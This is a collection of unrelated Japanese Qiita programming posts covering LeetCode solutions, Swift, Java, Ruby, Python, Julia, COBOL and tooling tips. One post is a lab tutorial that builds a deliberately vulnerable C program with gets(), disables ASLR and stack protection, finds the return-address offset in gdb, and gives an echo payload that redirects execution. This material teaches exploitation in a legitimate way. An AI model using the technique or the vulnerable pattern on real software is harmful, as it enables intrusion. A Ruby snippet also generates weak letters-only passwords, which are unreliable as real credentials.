OmniAICreator/Qiita-1.07M huggingface dataset:
Leetcode #164: Maximum Gap

In order to achieve linear time and spacing requirements, we use bucket sort.
 
```swift
func maximumGap(_ nums: [Int]) -> Int {
    if nums.count < 2 {
        return 0
    }
    var minimum = nums[0]
    var maximum = nums[0]
    for i in stride(from: 1, to: nums.count, by: 1) {
        minimum = min(minimum, nums[i])
        maximum = max(maximum, nums[i])
    }
    let length = max(1,Int((maximum-minimum)/(nums.count-1)))
    let bucketCount = Int((maximum-minimum)/length + 1)
    var buckets = Array(repeating: (Int.max,Int.min), count: bucketCount)
    for num in nums {
        let index = Int((num - minimum)/length)
        buckets[index].0 = min(buckets[index].0, num)
        buckets[index].1 = max(buckets[index].1, num)
    }
    var maximumGap = 0
    buckets = buckets.filter { $0.0 != Int.max }
    for i in stride(from: 1, to: buckets.count, by: 1) {
        maximumGap = max(maximumGap, buckets[i].0-buckets[i-1].1)
    }
    return maximumGap
}

```
Java配列の要素とforとlengthとvalueと拡張for文の活用

今回は、Javaの配列について勉強してみました！

配列→同じ目的で使用される複数の値を格納する場合に利用されます。
（「同じデータ型」で「同じような目的」で利用される変数を数多く必要とされる場合に利用すると便利になります！）

1
データ型[]
変数;
変数[値]＝値;
注意
配列の要素は0から始めます。


2
for(データ型　変数名:コレクション→length（値の数が増えた場合）→value（スマート化）要素が終わるまで処理の実行しなさいという命令。拡張for文とも言います
![java配列.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/427747/da9ea7de-3e0d-e27a-1fa4-f540a46b55b0.png)
![java配列要素.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/427747/a68d79fb-b24f-96ad-2340-7bb0c0758ec4.png)

このような感じになりました。

今日もお疲れ様でした。
Rubyで簡易なパスワードを生成してくれるコード

Rubyでは、パスワードを生成してくれるコードを簡単に作成することができます。
まずは。パスワードを生成してくれるコードを紹介してから、次にひとつひとつの関数などの機能についてを説明していきます。
生成するパスワードの文字数は、**「８」文字のアルファベット縛り**としていきます。（文字数については変更可能です）

## パスワードを生成するコード
早速ですが、下記のコードをターミナルなどに打つことでパスワードを生成してくれます。

```ruby
('a'..'z').to_a.shuffle[0..7].join
```

すると、ランダムなアルファベット８文字を生成してくれます。
この生成された文字をパスワードとして使おうという感じになります。

## それぞれ関数などの説明
ひとつひとつの関数などには動きがあります。
なので、コードの左側からひとつひとつの機能について説明していきます。

### ('a'..'z').to_a
`to_a`で、`('a'..'z')`で指定したアルファベットを順番に配列に格納しています。
冒頭に`('a'..'z')`と記述することで、アルファベットの「a」から「z」までを指定しています。

```ruby
>> ('a'..'z').to_a
=> ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
```

### .shuffle
`.shuffle`にて、文字通り配列内の文字列をシャッフルしています。
ここで、先ほど配列に格納したアルファベットの「a」から「z」をシャッフルします。

```ruby
>> ('a'..'z').to_a.shuffle
=> ["y", "j", "d", "e", "x", "o", "i", "p", "k", "b", "w", "t", "c", "g", "m", "n", "z", "q", "r", "f", "l", "v", "h", "u", "s", "a"]
```

### [0..7]
配列の先頭から、**「８」つの要素（８文字）**を取り出します。
９つ目以降の要素については消去されます。
ここの`7`という数字を大きくしたり小さくしたりすることで、パスワードの文字数を変更することができます。

```ruby
>> ('a'..'z').to_a.shuffle[0..7]
=> ["l", "w", "r", "j", "a", "b", "p", "i"]
```

※`.shuffle`を実行しているので、配列内の文字は変わっています。

### .join
`.join`で、バラバラだった要素を結合させます。
先ほど取り出した「８」つの要素を結合させて、１つの文字列としてまとめてパスワードの完成となります。

```ruby
>> ('a'..'z').to_a.shuffle[0..7].join
=> "rcvykpjg"
```

※これもまた、`.shuffle`を実行しているので(ry

### 結果
そうすることで、下記のように**８文字のパスワード**が生成されます。

```ruby
rcvykpjg
```
vscode でリモート作業（メモ）

### VSCode でリモート作業する手順

1. VSCodeを最新版(1.35.0)にする
2. 拡張で Remote - SSH （と Remote - Containers）をインストールする
3. ssh先を確保する（gcpとか）
4. ssh先にloginして、そっちにもVSCodeをインストールする。 https://code.visualstudio.com/docs/setup/linux から .deb の url を拾って ssh 先でダウンロード。 `vscode.deb` 的な名前にてきとーに変えて `sudo apt install ./vscode.deb` でインストールする（`./`がないとローカルファイル読まない）。
5. ローカルの VSCode の左下の `><` みたいなアイコンつついて `Remote-SSH: Connect to Host...` を選び、 `user@ip_address` で slogin する。 `user@` がないと config かなにかに登録したホスト名だと見なされて login できない
6. VSCode の別ウインドウが開いて、 remote にssh接続できている。 terminal 開くと remote の shell である。 open で remote のファイル/ディレクトリが開ける。拡張を選ぶと、ローカルの VSCode のものとは別に remote の VSCode にインストールする拡張を管理できる。
バッファオーバーフローを起こして任意の関数を実行する。

###バッファオーバーフローを起こして任意の関数を実行する。

C言語上のプログラムでバッファオーバフローを起こしリターンアドレスの書き換えを行います。main関数から他の関数を呼び出す方法をまとめた記事が少なかったのでメモ程度に残します。

実行環境
CentOS 6.10
GNOME 2.26.2

gdb-pedaを用いるのでそこのインストールは済ませたものとします。
もしインストールしてない方はこちらからお願いします
[gdbpeda超入門](https://qiita.com/miyagaw61/items/248a486cca671686c58c)






####まずバッファオーバしたいプログラムを用意します。

```C
#include <stdio.h> 
#include <stdlib.h> 

int main(void){ 
 char first[] = "!!Hello World!!"; 
 char buf[16]; 


 puts(">>"); 
 gets(buf); 
 puts(first); 
 puts("that \'s All Fork!"); 
 return EXIT_SUCCESS; 
} 
int sub(){ 
 puts("Something wrong"); 
} 
```

##コンパイル
まずASLRをoffにする
```
sudo sysctl -w kernel.randomize_va_space=0 
```
#####コンパイル

PIE、スタックプロテクターは無効化してコンパイル
```
gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC 
```

#リターンアドレスまでのオフセットを求める
まずはgdb起動
```
$ gdb HelooWorld 
```
ランダム文字列を作成
```
$ (gdb) pattern_create 50
```
実行
```
$ (gdb) r
```
####さっきのランダム文字列を入力する。
するとこのようにバッファオーバフローを起こし停止する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/187470/09d25c68-1038-e980-1274-e181980c3795.png)

ここでRSPのアドレスの文字列をメモ


####オフセットの文字列の捜索

```
$ (gdb)patto "ここにRSPの文字列"
```
これでアドレスのオフセットが求まる。
今回は40であることがわかった。

###次に実行したいアドレスを調べる。

アドレスの位置を調べる前に、再度gdbでバッファオーバフローの様子を確認する。

実行

```
$ (gdb) r
```
2.適当な文字列を入れてバッファオーバフロー

そのあとdisassコマンドに実行したい関数の名前を入力する。ここではsubです。

```
$ (gdb) disass sub
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/187470/0ac7a22c-c6ad-c103-e681-e9a9facc4dbf.png)
実行したらこんな感じ

ここで一番上のアドレスをメモ。

###アドレスを先ほど求めたオフセットの値だけずらして入力する。

16進数で入力することに注意。
echo コマンドを使えば便利。

今回の場合は以下となります。
```
echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld 
```
####結果

こんな感じでsub()関数が呼び出されていることがわかります！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/187470/bc38e3b4-853a-2687-c210-e8261b51480b.png)

#感想
こんな感じで簡単ですが動作の例を書いてみました。
環境によってはなかなかうまくいかないこともあったので試行錯誤が重要だと思いました。その際にこの記事が少しでも役に立てば幸いです
EclipseでJREを選択したら「選択された JRE は現在の準拠レベル 11 をサポートしていません」となった時の対応方法

久しぶりにEclipseを使ったら「えっ？」と思ったのでメモします。わかれば当たり前、わかるまでは不思議。

- 環境
    - macOS Mojave バージョン10.14.5
    - Eclipse IDE for Enterprise Java Developers. Version: 2019-03 (4.11.0)

# 事象 : [インストール済みのJRE]で「java8」を選んだら警告が出た。
![スクリーンショット 2019-06-06 22.53.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/159761/d7e35f0a-c370-62ea-bfc8-7bb444532bda.png)

# 原因 : コンパイラの準拠レベルをデフォルトのままにしているから
画面の下に変更を促すメッセージが表示されていました。
![スクリーンショット 2019-06-06 22.56.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/159761/be78ddd0-de44-eb84-a0dd-9e17b4042af1.png)

## 対応 : コンパイラの準拠レベルを変更する
1. (サイドメニュー > [Java] > [コンパイラー]) OR (上記のメッセージにあるリンクを押下)
2. [JDK準拠] > [コンパイラーの準拠レベル] > 今回の場合は「1.8」へ変更する
3. [適用]ボタンを押下する
4. 再ビルドを促すメッセージが表示される > [はい]ボタンを押下する
一次元セルオートマトン

# 一次元セルオートマトンの実装

セルオートマトンを調べる機会があり、ちょっと実装してみました。
備忘録として

その際に参考にしたサイトが[こちら]([http://aidiary.hatenablog.com/entry/20120113/1326464820)。

pygameを使用して描画したりと、コードを部分的に変更しています。
ソースコードは以下の通りです。

```python:cellular_automaton.py
# coding:utf-8
import pygame


def dec2bin(n):
    # 10進数を2進数の01リストに変換
    bit_list = []
    for i in range(8):
        bit_list.append(n % 2)
        n = int(n // 2)

    return bit_list


def ca(width, height, rulenum):
    # 1次元セルオートマトンの図を描画
    results = []

    # 初期状態設定
    first_row = [0] * width
    list_id = int(width // 2)
    first_row[list_id] = 1
    results.append(first_row)

    # ルールの番号を２進数に変換
    rule = dec2bin(rulenum)

    for i in range(height - 1):
        old_row = results[-1]
        new_row = []
        for j in range(width):
            # 前後のインデックスの状態を参照し次のループの状態を決定する。
            n = int(4 * old_row[(j-1) % width] + 2 * old_row[j] + old_row[(j+1) % width])
            new_row.append(rule[n])
        results.append(new_row)
    return results


if __name__ == "__main__":
    width = 300
    height = 100
    rule_num = 150  # ここのルールを255までの値で指定することで様々なパターンが出力されます。
    pygame.init()
    screen = pygame.display.set_mode((width*2, height*2))
    pygame.display.set_caption("Cellular Automaton {}".format(rule_num))

    results = ca(width, height, rule_num)

    screen.fill((0, 0, 0,))
    for i in range(len(results)):
        for j in range(len(results[i])):
            if results[i][j] == 0:
                pygame.draw.rect(screen, (255, 255, 255), (j*2, i*2, 2, 2))
            else:
                pass
        pygame.display.update()

    # 一時的に処理を停止する。
    pygame.time.wait(10000)

    # 制作したイメージをPNGに変換し保存。cellular_automaton.pyと同じディレクトリにimgが出力される。
    pygame.image.save(screen, 'pic.png')

```



![pic.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/400162/ad44755a-5594-c67d-57e5-ca54f6006c81.png)

このように出力されます。
今後は二次元、三次元も実装していこうと考えてます。
Alexaスキル開発  8秒待ってもユーザーからの応答がない場合、Alexaはマイクをオフにする

## 教訓
8秒待ってもユーザーからの応答がない場合、Alexaはマイクをオフにする
[スキルセッションのライフサイクル](https://developer.amazon.com/ja/docs/custom-skills/manage-skill-session-and-session-attributes.html#session-lifecycle)

## 背景
以下のような対話フローを考えていた。

* ユーザ: Alexa、ジャーナリングを開いて
* Alexa: 今日の出来事を振り返ってみましょう。ノートや日記に書いてみてください。書き終わったら「書いたよ」と話かけてください
* (5分応答なし)[^1]
* ユーザ: 書いたよ

そして、set_should_end_session(bool)というメソッドがあったため、引数をFalseにした。
だが、こちらが無反応でいると、途中でAlexaのランプが消えて会話の受付状態が解除された。
何故かと思い、調べてみると、今回の教訓となるドキュメントを見つけた。




[^1]: 現在作成中のスキル名が「ジャーナリング 〜自分と向き合う5分間〜」のため
Python環境をvirtualenvを使って構築する

# やること
Ubuntu18.04でvirtualenvを使ってPython開発環境を作る。

# 手順
Ubuntu18.04ではインストール時にPython2.7とPython3.6.7がインストールされているようなのでPythonのインストール手順は省略します。
他のバージョンを使いたい方は各自インストールしてください。

###virtualenvのインストール

```:bash
$ sudo apt install virtualenv
```

### virtualenvを使って環境構築する
Python3の環境を構築したい場合、pythonのあとに3を付ける必要があります。
付けずに以下のコマンドを入力するとPython2系がインストールされている場合はPython2の環境が構築されます。
`envname`のところは好きな名前を付けてください。

```:bash
$ virtualenv -p python envname 
```

Python3系の環境構築をしたい場合はこちら

```:bash
$ virtualenv -p python3 envname
Already using interpreter /usr/bin/python3
Using base prefix '/usr'
New python executable in /home/username/envname/bin/python3
Also creating executable in /home/username/envname/bin/python
Installing setuptools, pkg_resources, pip, wheel...done.
```

### virtualenv環境に入る
```:bash
$ source envname/bin/activate
```
と入力して以下のように`(envname)'が先頭に表示されればvirtualenv環境です。

```:bash
(envname)user_name@pc_name$
```
JavaScriptでFunction Oparation Pattern

#FOPをJavaScriptで書いてみた

FOPをJavaScriptで書くとどうなるかな、と思って書いてみました。
クラスや関数に大量のパラメータを渡す時に順番とか何を渡せば？？というときとかに役に立つと思われます。
普通にObjectにパラメータを引き渡すでもOKだと思います。

nodeのバージョンは10で実行して動作確認しています。

```javascript:generateParam.js
function returnParam() {
    var phrase = {};
    for (let i in arguments) {
        let obj = arguments[i]()
        phrase[Object.keys(obj)[0]] = Object.values(obj)[0]
    }
    return phrase;
};

function withUserId(value) {
    var value = value;
    return function () {
        return { "userId": value }
    };
};

function withSomeInfo(value) {
    var value = value;
    return function () {
        return { "something": value }
    };
};

module.exports = {
    returnParam: returnParam,
    withUserId: withUserId,
    withSomeInfo: withSomeInfo
};
```

呼び出し側

```javascript:call.js
const i = require('./generateParam')

var result = i.returnParam(
    i.withUserId("user001"),
    i.withSomeInfo("someInfo001")
)
console.log("result", result);
//result { userId: 'user001', something: 'someInfo001' }
```

実行

```cmd:cmd
node call.js
```
Yahooにも形態素解析APIがあるらしいので使ってみた

## 動機
前回は[COTOHA APIで形態素解析をしました](https://qiita.com/rubberduck/items/e39a46f5460830e77d02)
せっかくCOTOHA APIで形態素解析をやってみたので、今度はYahooのAPIを使ってみます。

## 以下ソース
```python
import requests
import xml.etree.ElementTree as ET

target_url = "https://jlp.yahooapis.jp/MAService/V1/parse"
client_id = "ID"

sentence = "私はその人の記憶を呼び起すごとに、すぐ「先生」といいたくなる"

data = {
    "appid":client_id,
    "results":"ma",
    "sentence":sentence
}

response = requests.post(target_url, data=data)

root = ET.fromstring(response.text)

for e in root.getiterator("{urn:yahoo:jp:jlp}surface"):
    print (e.text, end=" ")
```

## 結果
形態素解析の結果

```
入力文　私はその人の記憶を呼び起すごとに、すぐ「先生」といいたくなる
出力文　私 は その 人 の 記憶 を 呼び起す ごとに 、 すぐ 「 先生 」 と いい たく なる 
```

COTOHA APIとの出力の比較

```
入力文　          　私はその人の記憶を呼び起すごとに、すぐ「先生」といいたくなる
COTOHA APIの出力文　私 は その 人 の 記憶 を 呼び起 す ごと に 、 すぐ 「 先生 」 と い い た く な る  
Yahoo APIの出力文　 私 は その 人 の 記憶 を 呼び起す ごとに 、 すぐ 「 先生 」 と いい たく なる 
```

## まとめ
tokenをとらなくていいところは楽です。
返ってくるのがxmlなのはあまり好きじゃなくて、jsonで返してほしいですね。
あとはサンプルコードがあるのは嬉しいですが、phpだけなのは少し悲しいです。

## 参考記事
http://aidiary.hatenablog.com/entry/20090415/1239802199
Julia 画像処理サンプルコード

# tl;dr
Juliaでの画像処理を勉強中。以下を参考にさせてもらった。
https://qiita.com/yoyoyoh-yohyoh/items/3b802ff44e04846b92f9
https://qiita.com/yoyoyoh-yohyoh/items/9f13d5450066a8a85991

ただ、juliaは全体的にサンプルコードが少ない。
上記の補足的な意味もこめてサンプルコードを公開。
実際には、jupyter labを使ってmarkdown出力しているので、コード->代入や計算結果の表示

# コード本体

## 事前準備

```julia
using Images, TestImages, FileIO
img=testimage("mandrill")
```
![output_1_1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/33c075fb-056e-61f9-b85e-ac1697bceefa.png)

## 情報の表示

画像といえどもArrayなので、typeofで型情報がとれる

```julia
typeof(img)
```




    Array{RGB{Normed{UInt8,8}},2}


画像サイズの取得


```julia
size(img)
```




    (512, 512)


両方の情報も一度に取得できる

```julia
summary(img)
```




    "512×512 Array{RGB{N0f8},2} with eltype RGB{Normed{UInt8,8}}"



## 画像処理操作いろいろ


```julia
fimg=convert(Array{RGB{Float32},2},img)
```


![output_7_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/a180193d-3a9e-d994-6e75-ff969920dcb8.png)


.をつけることによって、各画素ごにとGray処理という意味になる


```julia
gfimg=Gray.(fimg)
```




![output_9_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/18cc085e-444b-3580-a3b2-91154691c816.png)


フィルタ処理！

```julia
gfimg2=imfilter(gfimg,Kernel.gaussian(2))
```



![output_10_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/01dfc6a8-2fe2-cbe8-de66-a38fc260bc07.png)


ガンマ変換もこれだけ。

```julia
gfimg3=gfimg.^(1/2.2)
```



![output_11_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/5b17ad3c-ded5-33c6-5a41-57de2d1462c5.png)


もう一回フィルタ処理。


```julia
gfimg4=imfilter(gfimg3,Kernel.gaussian(2))
```

![output_12_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/2b65395a-ff9d-7dcc-6ed2-bfc4131a809c.png)

ガンマを戻す。こっちのほうが自然にボケているか？

```julia
gfimg5=gfimg4.^(1/2.2)
```

![output_13_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/f2a230b3-1186-1b5e-5973-529620342d78.png)


せっかくなので差分をとる。何故かabs.を使うと、画像にならないので、改めて画像にコンバートする

```julia
convert(Array{Gray{Float32},2},abs.(gfimg2-gfimg5)*50)
```


![output_15_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/ef0bf6ef-881d-963b-0dc5-6a59358e35f7.png)

２倍にゲインをかけてみる


```julia
gfimg6 = gfimg*2
```




![output_17_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/4b1383ce-d17f-5498-5848-8533957e496d.png)


かけたgainをもどす。演算子に.をつけてもよい。


```julia
gfimg7 = gfimg6./2
```




![output_19_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/7132475d-0b1a-9895-c6c0-9912c1566b46.png)


差をとる。浮動少数点で処理しているので飽和が発生せず、ゲインをかけてもどしてもとにもどる。差分をとっても真っ黒。


```julia
convert(Array{Gray{Float32},2},abs.(gfimg-gfimg7)*50)
```
![output_21_0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321607/8e611e08-f18f-0eaf-36e2-6994ac00d66b.png)
Leetcode #167: Two Sum II - Input array is sorted

```swift
func twoSum(_ numbers: [Int], _ target: Int) -> [Int] {
    for i in stride(from: 0, to: numbers.count - 1, by: 1) {
        if i > 0 && numbers[i] == numbers[i-1] {
            continue
        }
        for j in stride(from: i+1, to: numbers.count, by: 1) {
            if j > i+1 && numbers[j] == numbers[j-1] {
                continue
            }
            if numbers[i] + numbers[j] == target {
                return [i+1, j+1]
            } else if numbers[i] + numbers[j] > target {
                break
            }
        }
    }
    return []
}
```
Leetcode #171: Excel Sheet Column Number

```swift
func titleToNumber(_ s: String) -> Int {
    var dict: [Character: Int] = ["A": 1, "B": 2, "C": 3, "D": 4, "E": 5, "F": 6, "G": 7, "H": 8, "I": 9, "J": 10,
    "K": 11, "L": 12, "M": 13, "N": 14, "O": 15, "P": 16, "Q": 17, "R": 18, "S": 19, "T": 20,
    "U": 21, "V": 22, "W": 23, "X": 24, "Y": 25, "Z": 26]
    var answer = 0
    for char in s {
        if let value = dict[char] {
            answer = (answer * 26) + value
        }
    }
    return answer
}
```
Swift UIPickerViewのメモ

```Swift
import UIKit

class PickerViewController: UIViewController,UIPickerViewDelegate,UIPickerViewDataSource {

    @IBOutlet weak var emojiPicker: UIPickerView!

    override func viewDidLoad() {
        super.viewDidLoad()
        emojiPicker.dataSource = self
        emojiPicker.delegate = self
    }

    //pickerViewデータ行数
    func pickerView(_ pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int {
        return emojis.count
    }
    //pickerView列数
    func numberOfComponents(in pickerView: UIPickerView) -> Int {
        return 1
    }
    //pickerViewデータ内容
    func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? {
        return emojis[row]
    }
    //pickerView選定事件
    func pickerView(_ pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) {
        <#code#>
    }
Revit API のVisual Studio Debugのメモ

RevitAPIのDebugの設定で、これをしておかないとRevitが立ち上がった瞬間消えるという現状にが起きたので、メモ。

まず基本設定。Debugの時にRevitを立ち上げる
![debug_setting_.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/425318/ee8335ff-622c-ace7-3419-69c90628ba37.png)

次にコピーを指定のフォルダーに入れるためのBuildの後にコピーするコマンドを追加。
`xcopy $(TargetPath) "%AppData%\Autodesk\Revit\Addins\2017\$(ProjectName)\" /y /c`
指定のフォルダをプロジェクト名と同じにしておく。

![debug_setting_2.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/425318/d5715520-81a0-07ee-ff8f-87d2d7a1fea9.png)

ここが重要。なぜか立ち上げた瞬間、Revitが閉じるということが起きてとても困った。
Degub>Options
Use Managed Compatibility Mode
これをチェックするとRevitが立ち上がる！
![debugging.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/425318/0151ffea-bb25-cc2f-be86-e3aaaea47dff.png)
【初心者】Qiitaで記事書いてみた

[未来電子テクノロジー](https://www.miraidenshi-tech.jp)でインターンをしている**to-fu16**です。
初投稿ということでQiitaでできることを試してみたいと思います。


###見出し
\#の数によって見出しの大きさが変わる。\<h1>から\<h6>まで
ちなみに「基礎編」の文字は見出し1で「見出し」の文字は見出し3
h1とh2には下線が付く


###太字
\**か__で文字を囲む

>\**未来電子**
\__テクノロジー__


**未来電子**
__テクノロジー__


###イタリック
\*か_で文字を囲む
>\*abcdefg*
\_ABCDEFG_


*abcdefg*
_ABCDEFG_

###リンク
\[文字リンク](リンク先のアドレス)で囲む
[to-fu16のマイページ](https://qiita.com/to-fu16)

###引用
\>
\>>で二重引用
>
1行目
2行目
>>3行目


一行空けると解除

###リスト
\*か+か-でリストを作成
半角が必要

>\* 1
\+ 2

* 1
+ 2


###番号付きリスト
数値+半角ドットで番号付きリストを作成
番号の内容に限らず適切な番号で表示される

>2.リスト1
5.リスト2


2. リスト1
5. リスト2


###水平線
\*もしくは-を3つ以上連続
>\***

***

###取り消し線
~~で文字列を囲むことで取り消し線

>\~~取り消し線~~

~~取り消し線~~

###表
|で区切って表を作る
\:--で左寄せ、--:で右寄せ、:-:で中央寄せ

>\|header1|header2|header3|
|:--|--:|:-:|
|a|b|c|

|header1|header2|header3|
|:--|--:|:-:|
|a|b|c|

###色の変更
\<font color="色">\</font>で文字の色を変更

>\<font color="Red">赤い文字\</font>

<font color="Red">赤い文字</font>

###pre記法
半角スペース4個もしくはタブで,コードブロックをpre表示

    print('miraidenshi')

***
####次回からはより<font color="Peru">**専門的**</font>な内容の記事を書けるようにプログラミングの勉強を頑張りたいと思います!


##参照
[Qiita Markdown 書き方 まとめ](https://qiita.com/shizuma/items/8616bbe3ebe8ab0b6ca1)
[Markdown記法 チートシート](https://qiita.com/Qiita/items/c686397e4a0f4f11683d)
Swift 配列のメモ

##宣言の書き方
```Swift
let emojis = ["🍽","🍎","🍧","🍻","🏋️‍♀️","👔","💇🏻‍♂️","🧻","🏝","🏡","🌟","🚰","🚌","🚗","📱","📚","🏥","🏪"]
var days:[String] = []
var moneys:[Int16:String] = [:]
var arrayFloats: Array<Float> = Array()
```
**指定要素分を固定値で初期化**
Array(repeating: 初期値, count: 要素数)

```Swift
var myArray = Array(repeating: 0, count: 3)
```
結果：
[0,0,0]
##配列要素の追加
```Swift
        emojis.append("m")
        emojis += ["m"]
```
##配列を結合する
```Swift
let s: String = emojis.joined()
let s: String = emojis.joined(separator: "-")
```
##Sort
```Swift
let s = emojis.sorted()
emojis.sort()
//複雑な配列の場合
struct Person {
    var name: String
    var sex:Bool
}

var users = [...]

users.sort {$0.name < $1.name}
[PostgreSQL]Arrayとintを"="(イコール)で比較する

##背景
昔から動いているシステムのローカル開発環境を構築中。。。

~~~
ERROR: 演算子が存在しません: integer[] = integer;
~~~
なんじゃこりゃ!!

##Operatorの作成
結論から

~~~sql
CREATE OPERATOR = (PROCEDURE = public.arraycontains, LEFTARG = anyarray, RIGHTARG = anyelement);
~~~

詳しい仕様や制約は[公式ドキュメント](https://www.postgresql.jp/document/9.3/html/sql-createoperator.html)をみてください。

独自の演算子を使用しすぎると、環境を立て直すときに不便なので、
個人的にはデフォルトの演算子を使うのが良い気がする。


##参考
[CREATE OPERATOR](https://www.postgresql.jp/document/9.3/html/sql-createoperator.html)
SwiftUIをMojaveのPlaygroundで実行する

# 概要

WWDC2019で発表された[SiwftUI](https://developer.apple.com/xcode/swiftui/)をmacOS MojaveのPlaygroundで実行する方法の簡単なTipsです。

Xcode 11 Betaは以下URLからインストールしてください。
https://developer.apple.com/download/

# コード例

以下のように、**SwiftUIとPlaygroundSupportをimport**し、PlaygroundPage.current.liveViewに**UIHostingController**をセットしてあげることでプレビューが可能となります。

```swift
import SwiftUI
import PlaygroundSupport

struct ContentView: View {
    var body: some View {
        VStack {
            Text("SwiftUI")
                .font(.title)
            Text("in Swift Playground")
                .font(.caption)
        }
    }
}

PlaygroundPage.current.liveView = UIHostingController(rootView: ContentView())
```

Tipsは以上です。以下のURLにSwigyUIの公式チュートリアルがあるので色々試してみると面白いかと思います。

Tutorials: https://developer.apple.com/tutorials/swiftui/

 - [Creating and Combining Views] (https://developer.apple.com/tutorials/swiftui/creating-and-combining-views)
 - [Building Lists and Navigation](https://developer.apple.com/tutorials/swiftui/building-lists-and-navigation)
 - [Handling User Input](https://developer.apple.com/tutorials/swiftui/handling-user-input)
 - [Drawing Paths and Shapes](https://developer.apple.com/tutorials/swiftui/drawing-paths-and-shapes)
 - [Animating Views and Transitions](https://developer.apple.com/tutorials/swiftui/animating-views-and-transitions)
 - [Composing Complex Interfaces](https://developer.apple.com/tutorials/swiftui/composing-complex-interfaces)
 - [Working with UI Controls
](https://developer.apple.com/tutorials/swiftui/working-with-ui-controls)
 - [Interfacing with UIKit](https://developer.apple.com/tutorials/swiftui/interfacing-with-uikit)

Documentation: https://developer.apple.com/documentation/swiftui/
COBOLの戻り文

研修で使い方を間違えたのでおさらいついでに記事化。

# 戻り文とは

プログラムを終了させたり、サブルーチンやサブセクションの呼び出し元に戻るための構文。

# COBOLの戻り文は3種類

まずはざっくりと説明。

## `STOP RUN`

プログラムを終了させるときに使う。そのため、サブセクションやサブプログラムで使ってしまうと、呼び出し元に戻ることなく、実行した時点で終了してしまう。

## `GOBACK`

サブプログラムからメインプログラム（サブプログラムの呼び出し元）に戻るための構文。

## `EXIT`

一連の手続きの共通の終了点で、`PERFORM`、パラグラフ、セクションの出口としても利用可能。

# 使い方

`STOP RUN`はプログラムを完全に終了させたいとき、`GOBACK`はサブプログラムを終了してメインプログラムに戻りたいとき、`EXIT`はサブセクションの呼び出し元に戻りたいときに使う。

```MAIN.cbl
*--ﾒｲﾝﾌﾟﾛｸﾞﾗﾑ
 IDENTIFICATION  DIVISION.
*
 PROGRAM-ID.     MAIN.
*
 ENVIRONMENT     DIVISION.
*
 DATA            DIVISION.
*
 PROCEDURE       DIVISION.
*--ﾒｲﾝｾｸｼｮﾝ
 MAIN-SEC        SECTION.
 MAIN-SEC-S.
   CALL          'SUB-PGM'.
   PERFORM       SUB-SEC.
   DISPLAY       '!!!'.
 MAIN-SEC-E.
 STOP            RUN.
*--ｻﾌﾞｾｸｼｮﾝ
 SUB-SEC         SECTION.
 SUB-SEC-S.
   DISPLAY       'WORLD'.
 SUB-SEC-E.
   EXIT.
```

```SUB.cbl
*--ｻﾌﾞﾌﾟﾛｸﾞﾗﾑ
 IDENTIFICATION  DIVISION.
 PROGRAM-ID.     SUB-PGM.
*
 ENVIRONMENT     DIVISION.
*
 DATA            DIVISION.
*
 PROCEDURE       DIVISION.
   DISPLAY       'HELLO'.
   GOBACK.
```
実行結果

```
HELLO
WORLD
!!!
```

上記のプログラムで誤った使い方を考えてみる。

## 1. サブプログラムの`GOBACK`を`STOP RUN`に

実行結果

```
HELLO
```

`STOP RUN.`は、プログラムを終了するもので、メインプログラムに戻ることなく、呼ばれた時点で完全に終了してしまう。言うまでもないが、サブセクションで呼べば、今回の場合だと`WORLD`と`!!!`が出ない。

## 2. サブセクションの`EXIT.`を`GOBACK.`に

実行結果

```
HELLO
WORLD
```

`GOBACK.`はサブプログラムからメインプログラムに戻るための構文であり、メインプログラムで実行すると、これの前がないので、結局は`STOP RUN.`と同じ役目を果たす。なので、メインセクションに戻ることなく終了してしまう。
Rspecでのテスト入門~E2E(System)テスト基本文法編~

#対象読者
- テストコードを書いたことがない。（わたし）
- ブラウザをポチポチする~~クソつまら..~~テストしかしたことがない人。（わたし）
- ※ あとがき...テストの種類と基本文法を書いていたらボリューミーになってきたので実際に書いたコードは別の記事で載せます。


#まずテストの種類
現時点では「こういうのがあるんだー」程度の理解です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/303093/ee74aa73-a486-3ebd-b931-566654c6f081.png)


#E2E(システム)テストとは
End to Endの略。コードからブラウザを操作して意図したとおりに表示、操作、画面遷移など出来るかをテストする


#テストコードを書くのは億劫である？
今回テストコードを書いてみて、自分の意図した通りに動いたらなかなか気持ちよかった。。。それに、テストコードを書き自動テストを実行すると良いことがある。

### 良いこと
